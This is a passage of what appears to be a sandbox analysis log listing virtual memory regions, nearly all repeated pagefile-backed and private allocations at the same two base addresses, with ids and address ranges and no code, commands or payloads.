"pagefile_0x0000000002d80000" filename = "" Region: id = 4201 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4202 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4203 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 4204 start_va = 0x3ee0000 end_va = 0x3ee3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 4205 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4206 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 4207 start_va = 0x3ee0000 end_va = 0x3ee3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 4208 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4210 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 4211 start_va = 0x3ee0000 end_va = 0x3ee3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 4212 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4213 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 4214 start_va = 0x3ee0000 end_va = 0x3ee3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 4215 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4217 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 4218 start_va = 0x3ee0000 end_va = 0x3ee3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 4219 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4220 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4221 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 4222 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 4223 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4224 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4225 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4226 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4227 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4228 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4229 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4230 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4231 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4232 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4233 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4234 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4235 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4236 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4237 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4238 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4239 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4240 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4241 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4242 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4243 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4244 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4245 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4246 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4247 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4248 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4249 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4250 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4251 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4252 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4253 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4254 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4255 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4256 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4257 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4258 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4259 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4260 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4261 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4262 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4263 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4264 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4265 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4266 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4267 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4268 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4269 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4270 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4271 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4272 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4273 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4274 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4275 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4276 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4277 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4278 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4279 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4280 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4281 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4282 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4283 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 4284 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 4285 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4286 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4287 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4288 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4289 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4290 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4291 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4292 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4293 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4294 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4295 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4296 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4297 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4298 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4299 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4300 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4301 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4302 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4303 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4304 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4305 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4306 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4307 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4308 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4309 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4310 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4311 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4312 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4313 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4314 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4315 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4316 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4317 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4318 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4319 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4320 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4321 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4322 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4323 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4324 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4325 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4326 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4327 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4328 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4329 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4330 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4331 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4332 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4333 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4334 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4335 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4336 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4337 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4338 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4339 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4340 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4341 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4342 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4343 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4344 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4397 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 4398 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 4399 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4400 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4401 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4402 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4403 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4404 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4405 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4406 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4407 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4408 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4409 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4410 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4411 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4412 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4413 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4414 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4415 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4416 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4417 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4418 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4419 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4420 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4421 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4422 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4423 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4424 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4425 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4426 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4427 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4428 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4429 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4430 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4431 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4432 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4433 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4434 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4435 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 4436 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 4437 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4438 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4439 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4440 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4441 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4442 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4443 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4444 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4445 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4446 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4447 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4448 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4449 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4450 